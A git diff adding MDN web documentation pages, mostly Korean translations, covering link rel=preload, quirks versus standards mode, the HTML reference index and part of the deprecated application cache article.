+ <li><code>style</code>: CSS stylesheet.</li>
+ <li><code>track</code>: WebVTT file.</li>
+ <li><code>worker</code>: A JavaScript web worker or shared worker.</li>
+ <li><code>video</code>: Video file, as typically used in {{htmlelement("video")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: There's more detail about these values and the web features they expect to be consumed by in the Preload spec — see <a href="https://w3c.github.io/preload/#link-element-extensions">link element extensions</a>. Also note that the full list of values the <code>as</code> attribute can take is governed by the Fetch spec — see <a href="https://fetch.spec.whatwg.org/#concept-request-destination">request destinations</a>.</p>
+</div>
+
+<h2 id="Including_a_MIME_type">Including a MIME type</h2>
+
+<p><code>&lt;link&gt;</code> elements can accept a {{htmlattrxref("type", "link")}} attribute, which contains the MIME type of the resource the element points to. This is especially useful when preloading resources — the browser will use the <code>type</code> attribute value to work out if it supports that resource, and will only download it if so, ignoring it if not.</p>
+
+<p>You can see an example of this in our video example (see the <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/video">full source code</a>, and also <a href="https://mdn.github.io/html-examples/link-rel-preload/video/">the live version</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;Video preload example&lt;/title&gt;
+
+ &lt;link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4"&gt;
+ &lt;link rel="preload" href="sintel-short.webm" as="video" type="video/webm"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;video controls&gt;
+ &lt;source src="sintel-short.mp4" type="video/mp4"&gt;
+ &lt;source src="sintel-short.webm" type="video/webm"&gt;
+ &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="sintel-short.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+ &lt;/video&gt;
+&lt;/body&gt;</pre>
+
+<p>So in this case, browsers that support MP4s will preload and use the MP4, making the video player hopefully smoother/more responsive for users. Browsers that don't support MP4 can still load the WebM version, but don't get the advantages of preloading. This shows how preloading content can be combined with the philosophy of progressive enhancement.</p>
+
+<h2 id="Cross-origin_fetches">Cross-origin fetches</h2>
+
+<p>If you've got your sites' <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> settings worked out properly, you can successfully preload cross-origin resources as long as you set a {{htmlattrxref("crossorigin","link")}} attribute on your <code>&lt;link&gt;</code> element.</p>
+
+<p>One interesting case where this applies, even if the fetch is not cross-origin, is font files. Because of various reasons, these have to be fetched using anonymous mode CORS (see <a href="https://drafts.csswg.org/css-fonts/#font-fetching-requirements">Font fetching requirements</a>).</p>
+
+<p>Let's use this case as an example. You can see the full <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/fonts">example source code on GitHub</a> (<a href="https://mdn.github.io/html-examples/link-rel-preload/fonts/">also see it live</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;Web font example&lt;/title&gt;
+
+ &lt;link rel="preload" href="fonts/cicle_fina-webfont.woff2" as="font" type="font/woff2" crossorigin&gt;
+ &lt;link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin&gt;
+
+ &lt;link href="style.css" rel="stylesheet"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ …
+&lt;/body&gt;</pre>
+
+<p>Not only are we providing the MIME type hints in the <code>type</code> attributes, but we are also providing the <code>crossorigin</code> attribute to handle the CORS issue.</p>
+
+<h2 id="Including_media">Including media</h2>
+
+<p>One nice feature of <code>&lt;link&gt;</code> elements is their ability to accept {{htmlattrxref("media", "link")}} attributes. These can accept <a href="/en-US/docs/Web/CSS/@media#Media_types">media types</a> or full-blown <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a>, allowing you to do responsive preloading!</p>
+
+<p>Let's look at an example (see it on GitHub — <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/media">source code</a>, <a href="https://mdn.github.io/html-examples/link-rel-preload/media/">live example</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;Responsive preload example&lt;/title&gt;
+
+ &lt;link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)"&gt;
+ &lt;link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"&gt;
+
+ &lt;link rel="stylesheet" href="main.css"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;header&gt;
+ &lt;h1&gt;My site&lt;/h1&gt;
+ &lt;/header&gt;
+
+ &lt;script&gt;
+ var mediaQueryList = window.matchMedia("(max-width: 600px)");
+ var header = document.querySelector('header');
+
+ if (mediaQueryList.matches) {
+ header.style.backgroundImage = 'url(bg-image-narrow.png)';
+ } else {
+ header.style.backgroundImage = 'url(bg-image-wide.png)';
+ }
+ &lt;/script&gt;
+&lt;/body&gt;</pre>
+
+<p>We include <code>media</code> attributes on our <code>&lt;link&gt;</code> elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport. We use {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}} to do this (see <a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a> for more).</p>
+
+<p>This makes it much more likely that the font will be available for the page render, cutting down on FOUT (flash of unstyled text).</p>
+
+<p>This doesn't have to be limited to images, or even files of the same type — think big! You could perhaps preload and display a simple SVG diagram if the user is on a narrow screen where bandwidth and CPU is potentially more limited, or preload a complex chunk of JavaScript then use it to render an interactive 3D model if the user's resources are more plentiful.</p>
+
+<h2 id="Scripting_and_preloads">Scripting and preloads</h2>
+
+<p>Another nice thing about these preloads is that you can execute them with script. For example, here we create a {{domxref("HTMLLinkElement")}} instance, then attach it to the DOM:</p>
+
+<pre class="brush: js notranslate"><code class="language-javascript"><span class="keyword token">var</span> preloadLink <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"link"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span>href <span class="operator token">=</span> <span class="string token">"myscript.js"</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span>rel <span class="operator token">=</span> <span class="string token">"preload"</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span><span class="keyword token">as</span> <span class="operator token">=</span> <span class="string token">"script"</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>head<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>preloadLink<span class="punctuation token">)</span><span class="punctuation token">;</span>
+</code></pre>
+
+<p>This means that the browser will preload the <code>myscript.js</code> file, but not actually use it yet. To use it, you could do this:</p>
+
+<pre class="brush: js notranslate"><code class="language-javascript"><span class="keyword token">var</span> preloadedScript <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"script"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+preloadedScript<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">"myscript.js"</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>preloadedScript<span class="punctuation token">)</span><span class="punctuation token">;</span>
+</code></pre>
+
+<p>This is useful when you want to preload a script, but then defer execution until exactly when you need it.</p>
+
+<h2 id="Other_resource_preloading_mechanisms">Other resource preloading mechanisms</h2>
+
+<p>Other preloading features exist, but none are quite as fit for purpose as <code>&lt;link rel="preload"&gt;</code>:</p>
+
+<ul>
+ <li><code>&lt;link rel="prefetch"&gt;</code> has been supported in browsers for a long time, but it is intended for prefetching resources that will be used in the <strong><em>next</em></strong> navigation/page load (e.g. when you go to the next page). This is fine, but isn't useful for the current page! In addition, browsers will give <code>prefetch</code> resources a lower priority than <code>preload</code> ones — the current page is more important than the next. See <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">Link prefetching FAQ</a> for more details.</li>
+ <li><code>&lt;link rel="prerender"&gt;</code> renders a specified webpage in the background, speeding up its load if the user navigates to it. Because of the potential to waste users bandwidth, Chrome treats <code>prerender</code> as a <a href="https://developers.google.com/web/updates/2018/07/nostate-prefetch">NoState prefetch</a> instead.</li>
+ <li><code>&lt;link rel="subresource"&gt;</code> {{non-standard_inline}} was supported in Chrome a while ago, and was intended to tackle the same issue as <code>preload</code>, but it had a problem: there was no way to work out a priority for the items (<code>as</code> didn't exist back then), so they all got fetched with fairly low priority.</li>
+ <li>There are a number of script-based resource loaders out there, but they don't have any power over the browser's fetch prioritization queue, and are subject to much the same performance problems.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td>
+ <td>{{Spec2('Preload')}}</td>
+ <td>Further details of <code>preload</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#link-type-preload', 'rel=preload')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Definition of <code>rel=preload</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.link.rel.preload")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/">Preload: What Is It Good For?</a> by Yoav Weiss</li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML")}}</p>
diff --git a/files/ko/web/html/quirks_mode_and_standards_mode/index.html b/files/ko/web/html/quirks_mode_and_standards_mode/index.html
new file mode 100644
index 0000000000..0179c18a4f
--- /dev/null
+++ b/files/ko/web/html/quirks_mode_and_standards_mode/index.html
@@ -0,0 +1,46 @@
+---
+title: 호환 모드와 표준 모드
+slug: Web/HTML/Quirks_Mode_and_Standards_Mode
+translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode
+---
+<p>과거 웹 페이지는 넷스케이프 내비게이터(Netscape Navigator)용과 마이크로소프트 인터넷 익스플로러(Microsoft Internet Explorer)<span style="line-height: inherit;">용의 두 가지 버전으로 만들어졌다</span><span style="line-height: inherit;">. W3C에서 웹 표준을 제정할 당시, 기존 브라우저들은 새롭게 만들어진 표준을 기반으로 대부분의 웹 사이트들을 제대로 표현할 수 없었다. 따라서, 브라우저들은 새로운 표준으로 제작된 사이트와 예전 방식으로 제작된 사이트를 렌더링하기 위한 두 가지 모드를 제공했다.</span></p>
+
+<p>웹 브라우저의 레이아웃 엔진으로 호환 모드(quirks mode), 거의 표준 모드(almost standards mode), 표준 모드(standards mode)의 <span style="line-height: inherit;">세 가지 방식이 존재한다. <strong>호환 모드</strong>(quirks mode)</span><span style="line-height: inherit;">에서는 기존 방식으로 제작된 웹사이트들을 표현하기 위해 내</span><span style="line-height: inherit;">비게이터 4(Navigator 4)와 인터넷 익스플로러 5의 비표준 동작들을 에뮬레이션한다. <strong>완전 표준 모드</strong></span><span style="line-height: inherit;">(full standards mode; 이하 표준 모드)</span><span style="line-height: inherit;">에서는 (아마도) HTML과 CSS에 의해 웹 페이지가 표시된다. <strong>거의 표준 모드</strong>(</span><span style="line-height: inherit;">almost standards mode)는 소수의 호환 모드 요소만 지원한다.</span></p>
+
+<h2 id="How_does_Mozilla_determine_which_mode_to_use.3F" name="How_does_Mozilla_determine_which_mode_to_use.3F">브라우저는 무엇을 보고 모드를 결정할까?</h2>
+
+<p>웹 브라우저는 <a href="/en-US/docs/HTML" style="line-height: inherit;" title="/en-US/docs/HTML">HTML</a><span style="line-height: inherit;"> </span><span style="line-height: inherit;">페이지를 호환 모드나 표준 모드 중 무엇으로 렌더링할지 결정할 때 문서의 첫 부분에 기술된 DOCTYPE을 참조한다. 웹 페이지를 표준 모드로 렌더링하려고 한다면 다음과 같이 페이지 첫 부분에 DOCTYPE을 기술해야 한다.</span></p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset=UTF-8&gt;
+ &lt;title&gt;Hello World!&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>예제에서 사용한 <span style="line-height: inherit;"><code>&lt;!DOCTYPE html&gt;</code>은 HTML5에서 권장하는, 가장 간단한 방식이다. 이전 버전의 HTML 표준들은 다른 방식들을 권장하지만, 오늘날 현존하는 모든 브라우저들은(심지어 옛날 인터넷 익스플로러 6조차도) 이 DOCTYPE은 완전 표준 모드로 렌더링할 것이다. 더 복잡한 DOCTYPE을 굳이 사용할 이유는 없다. 만약 다른 DOCTYPE을 사용하게 된다면, 해당 페이지가 거의 표준 모드나 호환 모드로 렌더링될 수 있는 위험이 있다.</span></p>
+
+<p>DOCTYPE은 반드시 HTML 문서 첫 부분에 기술하자. <span style="line-height: inherit;">인터넷 익스플로러 9 또는 그 이전 버전에서는</span><span style="line-height: inherit;"> DOCTYPE 이전에 </span><span style="line-height: inherit;">주석이나 XML 선언부 등 무엇이든 작성된 상태라면 해당 문서를 호환 모드로 렌더링하게 된다.</span></p>
+
+<p>HTML5에서 DOCTYPE의 유일한 목적은 완전 표준 모드를 활성화하기 위함이다. 이전 버전의 HTML 표준에서는 DOCTYPE이 추가적인 의미를 갖지만, 실제로 이를 호환 모드와 표준 모드의 판단 이외의 목적으로 사용한 브라우저는 없다.</p>
+
+<p>좀 더 자세한 내용은 "브라우저가 다양한 모드를 판단할 때"(<a class="external" href="http://hsivonen.iki.fi/doctype/" title="http://hsivonen.iki.fi/doctype/">when different browsers choose various modes</a>)를 참고하자.</p>
+
+<h3 id="XHTML">XHTML</h3>
+
+<p>여러분의 페이지가 <code>Content-Type</code> <span style="line-height: inherit;">HTTP 헤더를 <code>application/xhtml+xml</code> MIME 타입으로 설정함으로써</span><span style="line-height: inherit;"> </span><a href="/en-US/docs/XHTML" style="line-height: inherit;" title="XHTML">XHTML</a>로 제공된다면, 이런 페이지들은 항상 표준 모드로 렌더링되기 때문에 DOCTYPE을 기술할 필요가 없다. 다만 인터넷 익스플로러는 9부터 XHTML을 지원하기 때문에 인터넷 익스플로러 8의 경우 <code>application/xhtml+xml</code>로 기술된 페이지를 표시하지 않고 알 수 없는 형식으로 판단해 <a href="/en-US/docs/XHTML#Support">다운로드 창을 표시한다</a>.</p>
+
+<p>XHTML 같은(XHTML-like) 콘텐트를 <code>text/html</code> <span style="line-height: inherit;">MIME </span><span style="line-height: inherit;">타입으로 제공한다면 웹 브라우저는 이를 HTML로 인식하므로, 표준 모드로 렌더링하려면 DOCTYPE을 기술해야 한다.</span></p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">페이지에 사용된 모드 확인하기</h2>
+
+<p>파이어폭스(Firefox)에서는 우클릭을 하고 '페이지 등록 정보'에서 '렌더링 방식'을 확인한다.</p>
+
+<p>인터넷 익스플로러에서는 F12 키를 누르고 문서 모드<span style="line-height: inherit;">를 확인한다.</span></p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">모드 간의 차이점</h2>
+
+<p>여러 렌더링 모드의 차이점을 비교하려면 <a href="/ko/docs/Mozilla_Quirks_Mode_Behavior">Mozilla Quirks Mode Behavior</a>와 <a href="/en-US/docs/Mozilla/Gecko_Almost_Standards_Mode">Gecko's "Almost Standards" Mode</a>(영문) 문서를 참고하자.</p>
diff --git a/files/ko/web/html/reference/index.html b/files/ko/web/html/reference/index.html
new file mode 100644
index 0000000000..e2095ab522
--- /dev/null
+++ b/files/ko/web/html/reference/index.html
@@ -0,0 +1,32 @@
+---
+title: HTML 참고서
+slug: Web/HTML/Reference
+tags:
+ - HTML
+ - Landing
+ - Reference
+ - Web
+translation_of: Web/HTML/Reference
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><a href="/ko/docs/Web/HTML">HTML</a> 참고서는 HTML의 모든 <strong>요소</strong>와 <strong>특성</strong>의 설명을 담고 있습니다.</p>
+
+<div class="section">
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Element">HTML 요소 참고서</a></dt>
+ <dd>태그를 사용해 생성할 수 있는 HTML 요소를 나열하는 문서입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Attributes">HTML 특성 참고서</a></dt>
+ <dd>HTML의 요소는 특성을 갖습니다. 특성은 요소의 다양한 설정이나 행동을 사용자가 원하는 방식대로 바꿀 수 있는 값입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></dt>
+ <dd>전역 특성은 모든 HTML에서 공통으로 사용할 수 있는 특성입니다. 일부 요소에는 아무런 효과도 없을 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Link_types">링크 유형</a></dt>
+ <dd>HTML에서는 {{htmlelement("a")}}, {{htmlelement("area")}} 또는 {{htmlelement("link")}} 태그 중 하나를 이용해 한 문서와 다른 문서를 연결함으로써 두 문서의 관계 명시할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></dt>
+ <dd>HTML 요소는 하나 이상의 콘텐츠 카테고리에 속할 수 있습니다. 콘텐츠 카테고리는 같은 성질을 가진 요소를 묶습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Date_and_time_formats">HTML에서 사용하는 날짜와 시간 형식</a></dt>
+ <dd>특정 HTML 요소는 날짜와 시간을 값이나 특성의 값으로 가질 수 있습니다. {{HTMLElement("input")}} 요소의 날짜 및 시간 형태는 물론 {{HTMLElement("ins")}}와 {{HTMLElement("del")}} 요소도 이에 해당합니다.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/HTML" title="Article tagged: HTML">"HTML" 태그를 가진 문서 모두 보기...</a></span></p>
+</div>
diff --git a/files/ko/web/html/using_the_application_cache/index.html b/files/ko/web/html/using_the_application_cache/index.html
new file mode 100644
index 0000000000..e32a89c21a
--- /dev/null
+++ b/files/ko/web/html/using_the_application_cache/index.html
@@ -0,0 +1,338 @@
+---
+title: 애플리케이션 캐시 사용하기
+slug: Web/HTML/Using_the_application_cache
+translation_of: Web/HTML/Using_the_application_cache
+---
+<div>{{DefaultAPISidebar("App Cache")}}{{SecureContext_Header}}{{Deprecated_Header}}
+<div class="blockIndicator warning">
+<p>Using the <em>application caching</em> feature described here is at this point highly discouraged; it’s <a href="https://html.spec.whatwg.org/multipage/browsers.html#offline">in the process of being removed from the Web platform</a>. Use <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service Workers</a> instead. In fact as of Firefox 44, when <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> is used to provide offline support for a page a warning message is now displayed in the console advising developers to use <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> instead ({{bug("1204581")}}).</p>
+</div>
+</div>
+
+<h2 id="소개">소개</h2>
+
+<p><a href="/en-US/docs/HTML/HTML5" title="HTML/HTML5">HTML5</a> 는 웹기반의 애플리케이션들이 오프라인에서도 실행되도록 해주는 애플리케이션 캐시 메카니즘을 제공한다. 개발자는 브라우저에 캐시되어 오프라인 사용자가 사용할 수 있도록 자원을 지정하기 위하여 애플리케이션 캐시(앱 캐시) 인터페이스를 사용할 수 있다. 캐시된 애플리케이션은 사용자가 오프라인 상태에서 새로고침을 클릭할 때 올바르게 불러와서 작동한다.</p>
+
+<p>애플리케이션 캐시를 사용하는 것은 애플리케이션에 다음과 같은 이익을 줍니다:</p>
+
+<ul>
+ <li>오프라인 브라우징: 유저들은 오프라인에서도 사이트를 탐색할 수 있습니다.</li>
+ <li>속도: 로컬에 리소스들을 캐싱함으로서, 로딩속도를 향상시킬 수 있습니다.</li>
+ <li>서버 부하 감소: 브라우저는 서버에서 변경된 리소스들만 다운로드합니다.</li>
+</ul>
+
+<h2 id="애플리케이션_캐시의_작동_방식">애플리케이션 캐시의 작동 방식</h2>
+
+<h3 id="애플리케이션_캐시_활성화_하기">애플리케이션 캐시 활성화 하기</h3>
+
+<p>애플리케이션에서 애플리케이션 캐시를 활성화 하기 위해서, 먼저 당신의 애플리케이션의 페이지들의 {{HTMLElement("html")}} 엘리먼트에 {{htmlattrxref("manifest", "html")}} 속성을 추가할 필요가 있습니다:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+ ...
+&lt;/html&gt;</pre>
+</div>
+
+<p><code>manifest</code> 속성은 <strong>캐시 매니페스트</strong> 파일을 가르키며, 이는 브라우져가 당신의 애플리케이션을 위해 캐싱할 리소스(파일들)의 리스트인 텍스트 파일입니다.</p>
+
+<p>당신은 반드시 <code>manifest</code> 속성을 당신 애플리케이션의 캐싱하길 원하는 모든 페이지마다 포함시켜야합니다. The browser does not cache pages that do not contain the <code>manifest</code>attribute, unless such pages are explicitly listed in the manifest file itself. You do not need to list all the pages you want cached in the manifest file, the browser implicitly adds every page that the user visits and that has the <code>manifest</code> attribute set to the application cache.</p>
+
+<p>몇몇 브라우저들은(e.g., Firefox) 애플리케이션 캐시를 사용하는 애플리케이션을 처음 로드할 때 알림을 띄웁니다. 알림은 다음과 같은 메시지를 표시합니다:</p>
+
+<p style="margin-left: 40px;">해당 사이트가 (<code>www.example.com</code>) 오프라인 사용을 위해 데이터를 저장을 요청합니다. [예] [이 사이트에서 사용안함] [나중에]</p>
+
+<p>The term "offline(-enabled) applications" sometimes refers specifically to applications that the user has allowed to use offline capabilities.</p>
+
+<h3 id="documents_불러오기">documents 불러오기</h3>
+
+<p>The use of an application cache modifies the normal process of loading a document:</p>
+
+<ul>
+ <li>If an application cache exists, the browser loads the document and its associated resources directly from the cache, without accessing the network. This speeds up the document load time.</li>
+ <li>The browser then checks to see if the cache manifest has been updated on the server.</li>
+ <li>If the cache manifest has been updated, the browser downloads a new version of the manifest and the resources listed in the manifest. This is done in the background and does not affect performance significantly.</li>
+</ul>
+
+<p>The process for loading documents and updating the application cache is specified in greater detail below:</p>
+
+<ol>
+ <li>When the browser visits a document that includes the <code>manifest</code> attribute, if no application cache exists, the browser loads the document and then fetches all the entries listed in the manifest file, creating the first version of the application cache.</li>
+ <li>Subsequent visits to that document cause the browser to load the document and other assets specified in the manifest file from the application cache (not from the server). In addition, the browser also sends a <code>checking</code> event to the <code><a href="/en-US/docs/DOM/window.applicationCache" title="DOM/window.applicationCache">window.applicationCache</a></code> object, and fetches the manifest file, following the appropriate HTTP caching rules.</li>
+ <li>If the currently-cached copy of the manifest is up-to-date, the browser sends a <code>noupdate</code> event to the <code>applicationCache</code> object, and the update process is complete. Note that if you change any cached resources on the server, you must also change the manifest file itself, so that the browser knows it needs to fetch all the resources again.</li>
+ <li>If the manifest file <em>has</em> changed, all the files listed in the manifest—as well as those added to the cache by calling <code><a href="/en-US/docs/nsIDOMOfflineResourceList#add.28.29" title="nsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code>—are fetched into a temporary cache, following the appropriate HTTP caching rules. For each file fetched into this temporary cache, the browser sends a <code>progress</code> event to the <code>applicationCache</code> object. If any errors occur, the browser sends an <code>error</code> event, and the update halts.</li>
+ <li>Once all the files have been successfully retrieved, they are moved into the real offline cache automatically, and a <code>cached</code> event is sent to the <code>applicationCache</code> object. Since the document has already been loaded into the browser from the cache, the updated document will not be rendered until the document is reloaded (either manually or programatically).</li>
+</ol>
+
+<h2 id="Storage_location_and_clearing_the_offline_cache">Storage location and clearing the offline cache</h2>
+
+<p>In Chrome you can clear the offline cache by selecting "Clear browsing data..." in the preferences or by visiting <a title="chrome://appcache-internals/">chrome://appcache-internals/</a>. Safari has a similar "Empty cache" setting in its preferences but a browser restart may also be required.</p>
+
+<p>In Firefox, the offline cache data is stored separately from the Firefox profile—next to the regular disk cache:</p>
+
+<ul>
+ <li>Windows Vista/7: <code>C:\Users\&lt;username&gt;\AppData\<strong>Local</strong>\Mozilla\Firefox\Profiles\&lt;salt&gt;.&lt;profile name&gt;\OfflineCache</code></li>
+ <li>Mac/Linux: <code>/Users/&lt;username&gt;/Library/Caches/Firefox/Profiles/&lt;salt&gt;.&lt;profile name&gt;/OfflineCache</code></li>
+</ul>
+
+<p>In Firefox the current status of the offline cache can be inspected on the <code>about:cache</code> page (under the "Offline cache device" heading). The offline cache can be cleared for each site separately using the "Remove..." button in Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data.</p>
+
+<p>Prior to Firefox 11, neither Tools -&gt; Clear Recent History nor Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data -&gt; Clear Now cleared the offline cache. This has been fixed.</p>
+
+<p>On Linux, you can find the setting at Edit &gt; Preferences &gt; Advanced &gt; Network &gt; Offline Web Content and User Data</p>
+
+<p>See also <a href="/en-US/docs/DOM/Storage#Storage_location_and_clearing_the_data" title="DOM/Storage#Storage location and clearing the data">clearing the DOM Storage data</a>.</p>
+
+<p>Application caches can also become obsolete. If an application's manifest file is removed from the server, the browser removes all application caches that use that manifest, and sends an "obsoleted" event to the <code>applicationCache</code> object. This sets the application cache's state to <code>OBSOLETE</code>.</p>
+
+<h2 id="The_cache_manifest_file">The cache manifest file</h2>
+
+<h3 id="Referencing_a_cache_manifest_file">Referencing a cache manifest file</h3>
+
+<p>The <code>manifest</code> attribute in a web application can specify either the relative path of a cache manifest file or an absolute URL. (Absolute URLs must be from the same origin as the application). A cache manifest file can have any file extension, but it must be served with the MIME type <code>text/cache-manifest</code>.</p>
+
+<div class="note"><strong>Note: </strong>On Apache servers, the MIME type for manifest (.appcache) files can be set by adding <code>AddType text/cache-manifest .appcache</code> to a .htaccess file within either the root directory, or the same directory as the application.</div>
+
+<h3 id="Entries_in_a_cache_manifest_file">Entries in a cache manifest file</h3>
+
+<p>The cache manifest file is a simple text file that lists the resources the browser should cache for offline access. Resources are identified by URI. Entries listed in the cache manifest must have the same scheme, host, and port as the manifest.</p>
+
+<h3 id="Example_1_a_simple_cache_manifest_file">Example 1: a simple cache manifest file</h3>
+
+<p>The following is a simple cache manifest file, <code>example.appcache</code>, for an imaginary web site at <span class="nowiki">www.example.com</span>.</p>
+
+<pre>CACHE MANIFEST
+# v1 - 2011-08-13
+# This is a comment.
+<span class="nowiki">http://www.example.com/index.html</span>
+<span class="nowiki">http://www.example.com/header.png</span>
+<span class="nowiki">http://www.example.com/blah/blah</span>
+</pre>
+
+<p>A cache manifest file can include three sections (<code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code>, discussed below). In the example above, there is no section header, so all data lines are assumed to be in the explicit (<code>CACHE</code>) section, meaning that the browser should cache all the listed resources in the application cache. Resources can be specified using either absolute or relative URLs (e.g., <code>index.html</code>).</p>
+
+<p>The "v1" comment in the example above is there for a good reason. Browsers only update an application cache when the manifest file changes, byte for byte. If you change a cached resource (for example, you update the <code>header.png</code> image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache. You can make any change you want to the manifest file, but revising a version number is the recommended best practice.</p>
+
+<div class="warning"><strong>Important:</strong> Do not specify the manifest itself in the cache manifest file, otherwise it will be nearly impossible to inform the browser a new manifest is available.</div>
+
+<h3 id="Sections_in_a_cache_manifest_file_CACHE_NETWORK_and_FALLBACK">Sections in a cache manifest file: <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code></h3>
+
+<p>A manifest can have three distinct sections: <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code>.</p>
+
+<dl>
+ <dt><code>CACHE:</code></dt>
+ <dd>This is the default section for entries in a cache manifest file. Files listed under the <code>CACHE:</code> section header (or immediately after the <code>CACHE MANIFEST</code> line) are explicitly cached after they're downloaded for the first time.</dd>
+ <dt><code>NETWORK:</code></dt>
+ <dd>Files listed under the <code>NETWORK:</code> section header in the cache manifest file are white-listed resources that require a connection to the server. All requests to such resources bypass the cache, even if the user is offline. Wildcards may be used.</dd>
+ <dt><code>FALLBACK:</code></dt>
+ <dd>The <code>FALLBACK:</code> section specifies fallback pages the browser should use if a resource is inaccessible. Each entry in this section lists two URIs—the first is the resource, the second is the fallback. Both URIs must be relative and from the same origin as the manifest file. Wildcards may be used.</dd>
+</dl>
+
+<p>The <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK </code>sections can be listed in any order in a cache manifest file, and each section can appear more than once in a single manifest.</p>
+
+<h3 id="Example_2_a_more_complete_cache_manifest_file">Example 2: a more complete cache manifest file</h3>
+
+<p>The following is a more complete cache manifest file for the imaginary web site at <span class="nowiki">www.example.com</span>:</p>
+
+<pre>CACHE MANIFEST
+# v1 2011-08-14
+# This is another comment
+index.html
+cache.html
+style.css
+image1.png
+
+# Use from network if available
+NETWORK:
+network.html
+
+# Fallback content
+FALLBACK:
+/ fallback.html
+</pre>
+
+<p>This example uses <code>NETWORK</code> and <code>FALLBACK</code> sections to specify that the <code>network.html</code> page must always be retrieved from the network, and that the <code>fallback.html</code> page should be served as a fallback resource (e.g., in case a connection to the server cannot be established).</p>
+
+<h3 id="Structure_of_a_cache_manifest_file">Structure of a cache manifest file</h3>
+
+<p>Cache manifest files must be served with the <code>text/cache-manifest</code> MIME type. All resources served using this MIME type must follow the syntax for an application cache manifest, as defined in this section.</p>
+
